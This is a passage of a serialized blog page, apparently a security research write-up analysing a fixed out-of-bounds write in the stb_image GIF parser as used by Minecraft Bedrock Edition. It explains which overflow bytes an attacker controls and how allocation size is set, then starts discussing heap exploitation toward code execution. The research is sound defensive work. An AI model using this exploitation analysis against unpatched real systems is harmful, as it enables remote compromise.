50213},{"style":125},[150214],{"type":28,"value":5746},{"type":22,"tag":118,"props":150216,"children":150217},{"style":674},[150218],{"type":28,"value":6036},{"type":22,"tag":118,"props":150220,"children":150221},{"style":125},[150222],{"type":28,"value":33513},{"type":22,"tag":118,"props":150224,"children":150225},{"class":120,"line":425},[150226,150230,150234,150238,150242,150246,150250,150254,150258],{"type":22,"tag":118,"props":150227,"children":150228},{"style":204},[150229],{"type":28,"value":150107},{"type":22,"tag":118,"props":150231,"children":150232},{"style":125},[150233],{"type":28,"value":5746},{"type":22,"tag":118,"props":150235,"children":150236},{"style":674},[150237],{"type":28,"value":19260},{"type":22,"tag":118,"props":150239,"children":150240},{"style":125},[150241],{"type":28,"value":10663},{"type":22,"tag":118,"props":150243,"children":150244},{"style":210},[150245],{"type":28,"value":282},{"type":22,"tag":118,"props":150247,"children":150248},{"style":204},[150249],{"type":28,"value":39386},{"type":22,"tag":118,"props":150251,"children":150252},{"style":125},[150253],{"type":28,"value":5746},{"type":22,"tag":118,"props":150255,"children":150256},{"style":674},[150257],{"type":28,"value":19260},{"type":22,"tag":118,"props":150259,"children":150260},{"style":125},[150261],{"type":28,"value":33513},{"type":22,"tag":118,"props":150263,"children":150264},{"class":120,"line":441},[150265],{"type":22,"tag":118,"props":150266,"children":150267},{"style":125},[150268],{"type":28,"value":36688},{"type":22,"tag":31,"props":150270,"children":150271},{},[150272,150274,150279,150281,150286],{"type":28,"value":150273},"This confirms ",{"type":22,"tag":114,"props":150275,"children":150277},{"className":150276},[],[150278],{"type":28,"value":78113},{"type":28,"value":150280}," is OOB for ",{"type":22,"tag":114,"props":150282,"children":150284},{"className":150283},[],[150285],{"type":28,"value":149764},{"type":28,"value":150287}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":22,"tag":31,"props":150289,"children":150290},{},[150291,150293,150299,150301,150308],{"type":28,"value":150292},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":22,"tag":114,"props":150294,"children":150296},{"className":150295},[],[150297],{"type":28,"value":150298},"g->color_table",{"type":28,"value":150300}," is populated by ",{"type":22,"tag":42,"props":150302,"children":150305},{"href":150303,"rel":150304},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[46],[150306],{"type":28,"value":150307},"stbi__gif_parse_colortable",{"type":28,"value":213},{"type":22,"tag":107,"props":150310,"children":150312},{"code":150311,"language":5169,"meta":7,"className":18481,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[150313],{"type":22,"tag":114,"props":150314,"children":150315},{"__ignoreMap":7},[150316,150336,150356,150395,150411,150423,150430,150441,150484,150518,150549,150580,150637,150644],{"type":22,"tag":118,"props":150317,"children":150318},{"class":120,"line":121},[150319,150323,150327,150332],{"type":22,"tag":118,"props":150320,"children":150321},{"style":146},[150322],{"type":28,"value":52985},{"type":22,"tag":118,"props":150324,"children":150325},{"style":146},[150326],{"type":28,"value":52990},{"type":22,"tag":118,"props":150328,"children":150329},{"style":532},[150330],{"type":28,"value":150331}," stbi__gif_parse_colortable",{"type":22,"tag":118,"props":150333,"children":150334},{"style":125},[150335],{"type":28,"value":696},{"type":22,"tag":118,"props":150337,"children":150338},{"class":120,"line":142},[150339,150344,150348,150352],{"type":22,"tag":118,"props":150340,"children":150341},{"style":125},[150342],{"type":28,"value":150343},"    stbi__context ",{"type":22,"tag":118,"props":150345,"children":150346},{"style":210},[150347],{"type":28,"value":671},{"type":22,"tag":118,"props":150349,"children":150350},{"style":204},[150351],{"type":28,"value":12650},{"type":22,"tag":118,"props":150353,"children":150354},{"style":125},[150355],{"type":28,"value":782},{"type":22,"tag":118,"props":150357,"children":150358},{"class":120,"line":177},[150359,150364,150369,150373,150377,150381,150385,150390],{"type":22,"tag":118,"props":150360,"children":150361},{"style":125},[150362],{"type":28,"value":150363},"    stbi_uc ",{"type":22,"tag":118,"props":150365,"children":150366},{"style":204},[150367],{"type":28,"value":150368},"pal",{"type":22,"tag":118,"props":150370,"children":150371},{"style":125},[150372],{"type":28,"value":5746},{"type":22,"tag":118,"props":150374,"children":150375},{"style":674},[150376],{"type":28,"value":94891},{"type":22,"tag":118,"props":150378,"children":150379},{"style":125},[150380],{"type":28,"value":50898},{"type":22,"tag":118,"props":150382,"children":150383},{"style":674},[150384],{"type":28,"value":19493},{"type":22,"tag":118,"props":150386,"children":150387},{"style":125},[150388],{"type":28,"value":150389},"],",{"type":22,"tag":118,"props":150391,"children":150392},{"style":257},[150393],{"type":28,"value":150394},"    // g->color_table\n",{"type":22,"tag":118,"props":150396,"children":150397},{"class":120,"line":195},[150398,150402,150407],{"type":22,"tag":118,"props":150399,"children":150400},{"style":146},[150401],{"type":28,"value":21044},{"type":22,"tag":118,"props":150403,"children":150404},{"style":204},[150405],{"type":28,"value":150406}," num_entries",{"type":22,"tag":118,"props":150408,"children":150409},{"style":125},[150410],{"type":28,"value":782},{"type":22,"tag":118,"props":150412,"children":150413},{"class":120,"line":244},[150414,150418],{"type":22,"tag":118,"props":150415,"children":150416},{"style":146},[150417],{"type":28,"value":21044},{"type":22,"tag":118,"props":150419,"children":150420},{"style":125},[150421],{"type":28,"value":150422}," transp\n",{"type":22,"tag":118,"props":150424,"children":150425},{"class":120,"line":253},[150426],{"type":22,"tag":118,"props":150427,"children":150428},{"style":125},[150429],{"type":28,"value":16783},{"type":22,"tag":118,"props":150431,"children":150432},{"class":120,"line":263},[150433,150437],{"type":22,"tag":118,"props":150434,"children":150435},{"style":146},[150436],{"type":28,"value":149485},{"type":22,"tag":118,"props":150438,"children":150439},{"style":125},[150440],{"type":28,"value":59905},{"type":22,"tag":118,"props":150442,"children":150443},{"class":120,"line":318},[150444,150449,150454,150458,150462,150466,150470,150475,150479],{"type":22,"tag":118,"props":150445,"children":150446},{"style":1480},[150447],{"type":28,"value":150448},"   for",{"type":22,"tag":118,"props":150450,"children":150451},{"style":125},[150452],{"type":28,"value":150453}," (i",{"type":22,"tag":118,"props":150455,"children":150456},{"style":210},[150457],{"type":28,"value":282},{"type":22,"tag":118,"props":150459,"children":150460},{"style":674},[150461],{"type":28,"value":6036},{"type":22,"tag":118,"props":150463,"children":150464},{"style":125},[150465],{"type":28,"value":53174},{"type":22,"tag":118,"props":150467,"children":150468},{"style":210},[150469],{"type":28,"value":559},{"type":22,"tag":118,"props":150471,"children":150472},{"style":125},[150473],{"type":28,"value":150474}," num_entries; ",{"type":22,"tag":118,"props":150476,"children":150477},{"style":210},[150478],{"type":28,"value":53210},{"type":22,"tag":118,"props":150480,"children":150481},{"style":125},[150482],{"type":28,"value":150483},"i) {\n",{"type":22,"tag":118,"props":150485,"children":150486},{"class":120,"line":351},[150487,150492,150496,150500,150504,150508,150513],{"type":22,"tag":118,"props":150488,"children":150489},{"style":204},[150490],{"type":28,"value":150491},"      pal",{"type":22,"tag":118,"props":150493,"children":150494},{"style":125},[150495],{"type":28,"value":62595},{"type":22,"tag":118,"props":150497,"children":150498},{"style":674},[150499],{"type":28,"value":5147},{"type":22,"tag":118,"props":150501,"children":150502},{"style":125},[150503],{"type":28,"value":10663},{"type":22,"tag":118,"props":150505,"children":150506},{"style":210},[150507],{"type":28,"value":282},{"type":22,"tag":118,"props":150509,"children":150510},{"style":532},[150511],{"type":28,"value":150512}," stbi__get8",{"type":22,"tag":118,"props":150514,"children":150515},{"style":125},[150516],{"type":28,"value":150517},"(s);\n",{"type":22,"tag":118,"props":150519,"children":150520},{"class":120,"line":359},[150521,150525,150529,150533,150537,150541,150545],{"type":22,"tag":118,"props":150522,"children":150523},{"style":204},[150524],{"type":28,"value":150491},{"type":22,"tag":118,"props":150526,"children":150527},{"style":125},[150528],{"type":28,"value":62595},{"type":22,"tag":118,"props":150530,"children":150531},{"style":674},[150532],{"type":28,"value":6026},{"type":22,"tag":118,"props":150534,"children":150535},{"style":125},[150536],{"type":28,"value":10663},{"type":22,"tag":118,"props":150538,"children":150539},{"style":210},[150540],{"type":28,"value":282},{"type":22,"tag":118,"props":150542,"children":150543},{"style":532},[150544],{"type":28,"value":150512},{"type":22,"tag":118,"props":150546,"children":150547},{"style":125},[150548],{"type":28,"value":150517},{"type":22,"tag":118,"props":150550,"children":150551},{"class":120,"line":368},[150552,150556,150560,150564,150568,150572,150576],{"type":22,"tag":118,"props":150553,"children":150554},{"style":204},[150555],{"type":28,"value":150491},{"type":22,"tag":118,"props":150557,"children":150558},{"style":125},[150559],{"type":28,"value":62595},{"type":22,"tag":118,"props":150561,"children":150562},{"style":674},[150563],{"type":28,"value":6036},{"type":22,"tag":118,"props":150565,"children":150566},{"style":125},[150567],{"type":28,"value":10663},{"type":22,"tag":118,"props":150569,"children":150570},{"style":210},[150571],{"type":28,"value":282},{"type":22,"tag":118,"props":150573,"children":150574},{"style":532},[150575],{"type":28,"value":150512},{"type":22,"tag":118,"props":150577,"children":150578},{"style":125},[150579],{"type":28,"value":150517},{"type":22,"tag":118,"props":150581,"children":150582},{"class":120,"line":384},[150583,150587,150591,150595,150599,150603,150608,150612,150616,150620,150624,150628,150633],{"type":22,"tag":118,"props":150584,"children":150585},{"style":204},[150586],{"type":28,"value":150491},{"type":22,"tag":118,"props":150588,"children":150589},{"style":125},[150590],{"type":28,"value":62595},{"type":22,"tag":118,"props":150592,"children":150593},{"style":674},[150594],{"type":28,"value":19260},{"type":22,"tag":118,"props":150596,"children":150597},{"style":125},[150598],{"type":28,"value":10663},{"type":22,"tag":118,"props":150600,"children":150601},{"style":210},[150602],{"type":28,"value":282},{"type":22,"tag":118,"props":150604,"children":150605},{"style":125},[150606],{"type":28,"value":150607}," transp ",{"type":22,"tag":118,"props":150609,"children":150610},{"style":210},[150611],{"type":28,"value":302},{"type":22,"tag":118,"props":150613,"children":150614},{"style":125},[150615],{"type":28,"value":56485},{"type":22,"tag":118,"props":150617,"children":150618},{"style":210},[150619],{"type":28,"value":796},{"type":22,"tag":118,"props":150621,"children":150622},{"style":674},[150623],{"type":28,"value":5074},{"type":22,"tag":118,"props":150625,"children":150626},{"style":210},[150627],{"type":28,"value":37056},{"type":22,"tag":118,"props":150629,"children":150630},{"style":674},[150631],{"type":28,"value":150632}," 255",{"type":22,"tag":118,"props":150634,"children":150635},{"style":125},[150636],{"type":28,"value":801},{"type":22,"tag":118,"props":150638,"children":150639},{"class":120,"line":417},[150640],{"type":22,"tag":118,"props":150641,"children":150642},{"style":125},[150643],{"type":28,"value":36688},{"type":22,"tag":118,"props":150645,"children":150646},{"class":120,"line":425},[150647],{"type":22,"tag":118,"props":150648,"children":150649},{"style":125},[150650],{"type":28,"value":481},{"type":22,"tag":31,"props":150652,"children":150653},{},[150654,150656,150661,150662,150667,150669,150674],{"type":28,"value":150655},"The first three bytes are read from the input image, while the last byte can be either ",{"type":22,"tag":114,"props":150657,"children":150659},{"className":150658},[],[150660],{"type":28,"value":6036},{"type":28,"value":15128},{"type":22,"tag":114,"props":150663,"children":150665},{"className":150664},[],[150666],{"type":28,"value":114939},{"type":28,"value":150668},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":22,"tag":114,"props":150670,"children":150672},{"className":150671},[],[150673],{"type":28,"value":31785},{"type":28,"value":213},{"type":22,"tag":107,"props":150676,"children":150678},{"code":150677,"language":5169,"meta":7,"className":18481,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150679],{"type":22,"tag":114,"props":150680,"children":150681},{"__ignoreMap":7},[150682,150745,150784,150823,150862,150901,150940],{"type":22,"tag":118,"props":150683,"children":150684},{"class":120,"line":121},[150685,150689,150693,150697,150701,150705,150709,150713,150717,150721,150725,150729,150733,150737,150741],{"type":22,"tag":118,"props":150686,"children":150687},{"style":125},[150688],{"type":28,"value":149999},{"type":22,"tag":118,"props":150690,"children":150691},{"style":210},[150692],{"type":28,"value":282},{"type":22,"tag":118,"props":150694,"children":150695},{"style":210},[150696],{"type":28,"value":1430},{"type":22,"tag":118,"props":150698,"children":150699},{"style":125},[150700],{"type":28,"value":110894},{"type":22,"tag":118,"props":150702,"children":150703},{"style":210},[150704],{"type":28,"value":593},{"type":22,"tag":118,"props":150706,"children":150707},{"style":204},[150708],{"type":28,"value":150020},{"type":22,"tag":118,"props":150710,"children":150711},{"style":125},[150712],{"type":28,"value":5746},{"type":22,"tag":118,"props":150714,"children":150715},{"style":204},[150716],{"type":28,"value":110894},{"type":22,"tag":118,"props":150718,"children":150719},{"style":125},[150720],{"type":28,"value":593},{"type":22,"tag":118,"props":150722,"children":150723},{"style":204},[150724],{"type":28,"value":150037},{"type":22,"tag":118,"props":150726,"children":150727},{"style":125},[150728],{"type":28,"value":150042},{"type":22,"tag":118,"props":150730,"children":150731},{"style":204},[150732],{"type":28,"value":150047},{"type":22,"tag":118,"props":150734,"children":150735},{"style":210},[150736],{"type":28,"value":11815},{"type":22,"tag":118,"props":150738,"children":150739},{"style":674},[150740],{"type":28,"value":13745},{"type":22,"tag":118,"props":150742,"children":150743},{"style":125},[150744],{"type":28,"value":33513},{"type":22,"tag":118,"props":150746,"children":150747},{"class":120,"line":142},[150748,150752,150756,150760,150764,150768,150772,150776,150780],{"type":22,"tag":118,"props":150749,"children":150750},{"style":1480},[150751],{"type":28,"value":54585},{"type":22,"tag":118,"props":150753,"children":150754},{"style":125},[150755],{"type":28,"value":842},{"type":22,"tag":118,"props":150757,"children":150758},{"style":204},[150759],{"type":28,"value":5169},{"type":22,"tag":118,"props":150761,"children":150762},{"style":125},[150763],{"type":28,"value":5746},{"type":22,"tag":118,"props":150765,"children":150766},{"style":674},[150767],{"type":28,"value":19260},{"type":22,"tag":118,"props":150769,"children":150770},{"style":125},[150771],{"type":28,"value":10663},{"type":22,"tag":118,"props":150773,"children":150774},{"style":210},[150775],{"type":28,"value":12460},{"type":22,"tag":118,"props":150777,"children":150778},{"style":674},[150779],{"type":28,"value":150095},{"type":22,"tag":118,"props":150781,"children":150782},{"style":125},[150783],{"type":28,"value":16783},{"type":22,"tag":118,"props":150785,"children":150786},{"class":120,"line":177},[150787,150791,150795,150799,150803,150807,150811,150815,150819],{"type":22,"tag":118,"props":150788,"children":150789},{"style":204},[150790],{"type":28,"value":150107},{"type":22,"tag":118,"props":150792,"children":150793},{"style":125},[150794],{"type":28,"value":5746},{"type":22,"tag":118,"props":150796,"children":150797},{"style":674},[150798],{"type":28,"value":6036},{"type":22,"tag":118,"props":150800,"children":150801},{"style":125},[150802],{"type":28,"value":10663},{"type":22,"tag":118,"props":150804,"children":150805},{"style":210},[150806],{"type":28,"value":282},{"type":22,"tag":118,"props":150808,"children":150809},{"style":204},[150810],{"type":28,"value":39386},{"type":22,"tag":118,"props":150812,"children":150813},{"style":125},[150814],{"type":28,"value":5746},{"type":22,"tag":118,"props":150816,"children":150817},{"style":674},[150818],{"type":28,"value":5147},{"type":22,"tag":118,"props":150820,"children":150821},{"style":125},[150822],{"type":28,"value":33513},{"type":22,"tag":118,"props":150824,"children":150825},{"class":120,"line":195},[150826,150830,150834,150838,150842,150846,150850,150854,150858],{"type":22,"tag":118,"props":150827,"children":150828},{"style":204},[150829],{"type":28,"value":150107},{"type":22,"tag":118,"props":150831,"children":150832},{"style":125},[150833],{"type":28,"value":5746},{"type":22,"tag":118,"props":150835,"children":150836},{"style":674},[150837],{"type":28,"value":6026},{"type":22,"tag":118,"props":150839,"children":150840},{"style":125},[150841],{"type":28,"value":10663},{"type":22,"tag":118,"props":150843,"children":150844},{"style":210},[150845],{"type":28,"value":282},{"type":22,"tag":118,"props":150847,"children":150848},{"style":204},[150849],{"type":28,"value":39386},{"type":22,"tag":118,"props":150851,"children":150852},{"style":125},[150853],{"type":28,"value":5746},{"type":22,"tag":118,"props":150855,"children":150856},{"style":674},[150857],{"type":28,"value":6026},{"type":22,"tag":118,"props":150859,"children":150860},{"style":125},[150861],{"type":28,"value":33513},{"type":22,"tag":118,"props":150863,"children":150864},{"class":120,"line":244},[150865,150869,150873,150877,150881,150885,150889,150893,150897],{"type":22,"tag":118,"props":150866,"children":150867},{"style":204},[150868],{"type":28,"value":150107},{"type":22,"tag":118,"props":150870,"children":150871},{"style":125},[150872],{"type":28,"value":5746},{"type":22,"tag":118,"props":150874,"children":150875},{"style":674},[150876],{"type":28,"value":5147},{"type":22,"tag":118,"props":150878,"children":150879},{"style":125},[150880],{"type":28,"value":10663},{"type":22,"tag":118,"props":150882,"children":150883},{"style":210},[150884],{"type":28,"value":282},{"type":22,"tag":118,"props":150886,"children":150887},{"style":204},[150888],{"type":28,"value":39386},{"type":22,"tag":118,"props":150890,"children":150891},{"style":125},[150892],{"type":28,"value":5746},{"type":22,"tag":118,"props":150894,"children":150895},{"style":674},[150896],{"type":28,"value":6036},{"type":22,"tag":118,"props":150898,"children":150899},{"style":125},[150900],{"type":28,"value":33513},{"type":22,"tag":118,"props":150902,"children":150903},{"class":120,"line":253},[150904,150908,150912,150916,150920,150924,150928,150932,150936],{"type":22,"tag":118,"props":150905,"children":150906},{"style":204},[150907],{"type":28,"value":150107},{"type":22,"tag":118,"props":150909,"children":150910},{"style":125},[150911],{"type":28,"value":5746},{"type":22,"tag":118,"props":150913,"children":150914},{"style":674},[150915],{"type":28,"value":19260},{"type":22,"tag":118,"props":150917,"children":150918},{"style":125},[150919],{"type":28,"value":10663},{"type":22,"tag":118,"props":150921,"children":150922},{"style":210},[150923],{"type":28,"value":282},{"type":22,"tag":118,"props":150925,"children":150926},{"style":204},[150927],{"type":28,"value":39386},{"type":22,"tag":118,"props":150929,"children":150930},{"style":125},[150931],{"type":28,"value":5746},{"type":22,"tag":118,"props":150933,"children":150934},{"style":674},[150935],{"type":28,"value":19260},{"type":22,"tag":118,"props":150937,"children":150938},{"style":125},[150939],{"type":28,"value":33513},{"type":22,"tag":118,"props":150941,"children":150942},{"class":120,"line":263},[150943],{"type":22,"tag":118,"props":150944,"children":150945},{"style":125},[150946],{"type":28,"value":36688},{"type":22,"tag":31,"props":150948,"children":150949},{},[150950,150951,150956,150958,150963,150965,150970],{"type":28,"value":25960},{"type":22,"tag":114,"props":150952,"children":150954},{"className":150953},[],[150955],{"type":28,"value":150307},{"type":28,"value":150957}," has to set the last byte to ",{"type":22,"tag":114,"props":150959,"children":150961},{"className":150960},[],[150962],{"type":28,"value":114939},{"type":28,"value":150964}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":22,"tag":114,"props":150966,"children":150968},{"className":150967},[],[150969],{"type":28,"value":114939},{"type":28,"value":292},{"type":22,"tag":31,"props":150972,"children":150973},{},[150974,150976,150981,150983,150989,150990,150996],{"type":28,"value":150975},"In the code we can see that size of the ",{"type":22,"tag":114,"props":150977,"children":150979},{"className":150978},[],[150980],{"type":28,"value":149764},{"type":28,"value":150982}," allocation is controlled through ",{"type":22,"tag":114,"props":150984,"children":150986},{"className":150985},[],[150987],{"type":28,"value":150988},"g->w",{"type":28,"value":12991},{"type":22,"tag":114,"props":150991,"children":150993},{"className":150992},[],[150994],{"type":28,"value":150995},"g->h",{"type":28,"value":150997}," values, both of which are read from the input file itself:",{"type":22,"tag":107,"props":150999,"children":151001},{"code":151000,"language":5169,"meta":7,"className":18481,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151002],{"type":22,"tag":114,"props":151003,"children":151004},{"__ignoreMap":7},[151005,151030,151037,151044,151079,151125],{"type":22,"tag":118,"props":151006,"children":151007},{"class":120,"line":121},[151008,151012,151017,151021,151025],{"type":22,"tag":118,"props":151009,"children":151010},{"style":146},[151011],{"type":28,"value":52985},{"type":22,"tag":118,"props":151013,"children":151014},{"style":125},[151015],{"type":28,"value":151016}," stbi_uc ",{"type":22,"tag":118,"props":151018,"children":151019},{"style":210},[151020],{"type":28,"value":671},{"type":22,"tag":118,"props":151022,"children":151023},{"style":532},[151024],{"type":28,"value":148943},{"type":22,"tag":118,"props":151026,"children":151027},{"style":125},[151028],{"type":28,"value":151029},"(...)\n",{"type":22,"tag":118,"props":151031,"children":151032},{"class":120,"line":142},[151033],{"type":22,"tag":118,"props":151034,"children":151035},{"style":125},[151036],{"type":28,"value":12879},{"type":22,"tag":118,"props":151038,"children":151039},{"class":120,"line":177},[151040],{"type":22,"tag":118,"props":151041,"children":151042},{"style":125},[151043],{"type":28,"value":149505},{"type":22,"tag":118,"props":151045,"children":151046},{"class":120,"line":195},[151047,151051,151055,151059,151063,151067,151071,151075],{"type":22,"tag":118,"props":151048,"children":151049},{"style":1480},[151050],{"type":28,"value":54585},{"type":22,"tag":118,"props":151052,"children":151053},{"style":125},[151054],{"type":28,"value":842},{"type":22,"tag":118,"props":151056,"children":151057},{"style":204},[151058],{"type":28,"value":110894},{"type":22,"tag":118,"props":151060,"children":151061},{"style":125},[151062],{"type":28,"value":593},{"type":22,"tag":118,"props":151064,"children":151065},{"style":204},[151066],{"type":28,"value":120317},{"type":22,"tag":118,"props":151068,"children":151069},{"style":210},[151070],{"type":28,"value":1780},{"type":22,"tag":118,"props":151072,"children":151073},{"style":674},[151074],{"type":28,"value":5074},{"type":22,"tag":118,"props":151076,"children":151077},{"style":125},[151078],{"type":28,"value":16783},{"type":22,"tag":118,"props":151080,"children":151081},{"class":120,"line":244},[151082,151086,151090,151094,151099,151104,151108,151113,151117,151121],{"type":22,"tag":118,"props":151083,"children":151084},{"style":1480},[151085],{"type":28,"value":41228},{"type":22,"tag":118,"props":151087,"children":151088},{"style":125},[151089],{"type":28,"value":842},{"type":22,"tag":118,"props":151091,"children":151092},{"style":210},[151093],{"type":28,"value":22581},{"type":22,"tag":118,"props":151095,"children":151096},{"style":532},[151097],{"type":28,"value":151098},"stbi__gif_header",{"type":22,"tag":118,"props":151100,"children":151101},{"style":125},[151102],{"type":28,"value":151103},"(s, g, comp,",{"type":22,"tag":118,"props":151105,"children":151106},{"style":674},[151107],{"type":28,"value":6036},{"type":22,"tag":118,"props":151109,"children":151110},{"style":125},[151111],{"type":28,"value":151112},"))     ",{"type":22,"tag":118,"props":151114,"children":151115},{"style":1480},[151116],{"type":28,"value":50397},{"type":22,"tag":118,"props":151118,"children":151119},{"style":674},[151120],{"type":28,"value":5074},{"type":22,"tag":118,"props":151122,"children":151123},{"style":125},[151124],{"type":28,"value":801},{"type":22,"tag":118,"props":151126,"children":151127},{"class":120,"line":253},[151128,151133,151137,151141,151145,151150,151154,151158,151163,151167,151171,151175,151179,151183,151187,151191,151195,151199,151203],{"type":22,"tag":118,"props":151129,"children":151130},{"style":204},[151131],{"type":28,"value":151132},"      g",{"type":22,"tag":118,"props":151134,"children":151135},{"style":125},[151136],{"type":28,"value":593},{"type":22,"tag":118,"props":151138,"children":151139},{"style":204},[151140],{"type":28,"value":120317},{"type":22,"tag":118,"props":151142,"children":151143},{"style":210},[151144],{"type":28,"value":837},{"type":22,"tag":118,"props":151146,"children":151147},{"style":125},[151148],{"type":28,"value":151149}," (stbi_uc ",{"type":22,"tag":118,"props":151151,"children":151152},{"style":210},[151153],{"type":28,"value":671},{"type":22,"tag":118,"props":151155,"children":151156},{"style":125},[151157],{"type":28,"value":588},{"type":22,"tag":118,"props":151159,"children":151160},{"style":532},[151161],{"type":28,"value":151162},"stbi__malloc",{"type":22,"tag":118,"props":151164,"children":151165},{"style":125},[151166],{"type":28,"value":540},{"type":22,"tag":118,"props":151168,"children":151169},{"style":674},[151170],{"type":28,"value":19493},{"type":22,"tag":118,"props":151172,"children":151173},{"style":210},[151174],{"type":28,"value":11815},{"type":22,"tag":118,"props":151176,"children":151177},{"style":204},[151178],{"type":28,"value":149545},{"type":22,"tag":118,"props":151180,"children":151181},{"style":125},[151182],{"type":28,"value":593},{"type":22,"tag":118,"props":151184,"children":151185},{"style":204},[151186],{"type":28,"value":51512},{"type":22,"tag":118,"props":151188,"children":151189},{"style":210},[151190],{"type":28,"value":11815},{"type":22,"tag":118,"props":151192,"children":151193},{"style":204},[151194],{"type":28,"value":149545},{"type":22,"tag":118,"props":151196,"children":151197},{"style":125},[151198],{"type":28,"value":593},{"type":22,"tag":118,"props":151200,"children":151201},{"style":204},[151202],{"type":28,"value":85941},{"type":22,"tag":118,"props":151204,"children":151205},{"style":125},[151206],{"type":28,"value":682},{"type":22,"tag":31,"props":151208,"children":151209},{},[151210,151212,151217,151219,151224],{"type":28,"value":151211},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":22,"tag":114,"props":151213,"children":151215},{"className":151214},[],[151216],{"type":28,"value":149764},{"type":28,"value":151218}," and the value of ",{"type":22,"tag":114,"props":151220,"children":151222},{"className":151221},[],[151223],{"type":28,"value":31},{"type":28,"value":151225}," just before the OOB write happens:",{"type":22,"tag":107,"props":151227,"children":151229},{"code":151228},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[151230],{"type":22,"tag":114,"props":151231,"children":151232},{"__ignoreMap":7},[151233],{"type":28,"value":151228},{"type":22,"tag":31,"props":151235,"children":151236},{},[151237,151239,151244,151246,151251],{"type":28,"value":151238},"There are multiple within-bound writes to ",{"type":22,"tag":114,"props":151240,"children":151242},{"className":151241},[],[151243],{"type":28,"value":31},{"type":28,"value":151245},", but the last write happens just after the ",{"type":22,"tag":114,"props":151247,"children":151249},{"className":151248},[],[151250],{"type":28,"value":149764},{"type":28,"value":151252}," allocation.",{"type":22,"tag":1289,"props":151254,"children":151256},{"id":151255},"summarizing-the-corruption",[151257],{"type":28,"value":151258},"Summarizing the Corruption",{"type":22,"tag":64,"props":151260,"children":151261},{},[151262,151275,151303],{"type":22,"tag":68,"props":151263,"children":151264},{},[151265,151267,151273],{"type":28,"value":151266},"A single ",{"type":22,"tag":114,"props":151268,"children":151270},{"className":151269},[],[151271],{"type":28,"value":151272},"0x01",{"type":28,"value":151274}," byte write OOB",{"type":22,"tag":68,"props":151276,"children":151277},{},[151278,151280],{"type":28,"value":151279},"4-byte OOB write just above the allocated buffer\n",{"type":22,"tag":64,"props":151281,"children":151282},{},[151283,151288,151298],{"type":22,"tag":68,"props":151284,"children":151285},{},[151286],{"type":28,"value":151287},"First three bytes are controllable",{"type":22,"tag":68,"props":151289,"children":151290},{},[151291,151293],{"type":28,"value":151292},"Last byte will be ",{"type":22,"tag":114,"props":151294,"children":151296},{"className":151295},[],[151297],{"type":28,"value":114939},{"type":22,"tag":68,"props":151299,"children":151300},{},[151301],{"type":28,"value":151302},"Size of the allocation is controlled",{"type":22,"tag":68,"props":151304,"children":151305},{},[151306,151308],{"type":28,"value":151307},"Both corruptions are done on a short-lived allocation\n",{"type":22,"tag":64,"props":151309,"children":151310},{},[151311,151316],{"type":22,"tag":68,"props":151312,"children":151313},{},[151314],{"type":28,"value":151315},"Allocated just before the image-parsing process",{"type":22,"tag":68,"props":151317,"children":151318},{},[151319],{"type":28,"value":151320},"Freed immediately upon parsing completion",{"type":22,"tag":20760,"props":151322,"children":151323},{},[],{"type":22,"tag":31,"props":151325,"children":151326},{},[151327,151329,151336,151338,151345],{"type":28,"value":151328},"Note that this bug was already found before (",{"type":22,"tag":42,"props":151330,"children":151333},{"href":151331,"rel":151332},"https://github.com/nothings/stb/issues/656",[46],[151334],{"type":28,"value":151335},"Github Issue",{"type":28,"value":151337},") but we missed it at the time. It was later fixed in ",{"type":22,"tag":42,"props":151339,"children":151342},{"href":151340,"rel":151341},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[46],[151343],{"type":28,"value":151344},"this commit",{"type":28,"value":292},{"type":22,"tag":23,"props":151347,"children":151348},{"id":7430},[151349],{"type":28,"value":7433},{"type":22,"tag":31,"props":151351,"children":151352},{},[151353],{"type":28,"value":151354},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":22,"tag":31,"props":151356,"children":151357},{},[151358],{"type":28,"value":151359},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":22,"tag":1289,"props":151361,"children":151363},{"id":151362},"searching-for-better-primitives",[151364],{"type":28,"value":151365},"Searching for Better Primitives",{"type":22,"tag":31,"props":151367,"children":151368},{},[151369],{"type":28,"value":151370},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":22,"tag":31,"props":151372,"children":151373},{},[151374,151376,151383],{"type":28,"value":151375},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":22,"tag":42,"props":151377,"children":151380},{"href":151378,"rel":151379},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[46],[151381],{"type":28,"value":151382},"UWP",{"type":28,"value":151384}," applications (such as Minecraft Bedrock Edition).",{"type":22,"tag":1289,"props":151386,"children":151388},{"id":151387},"segment-heap",[151389],{"type":28,"value":151390},"Segment 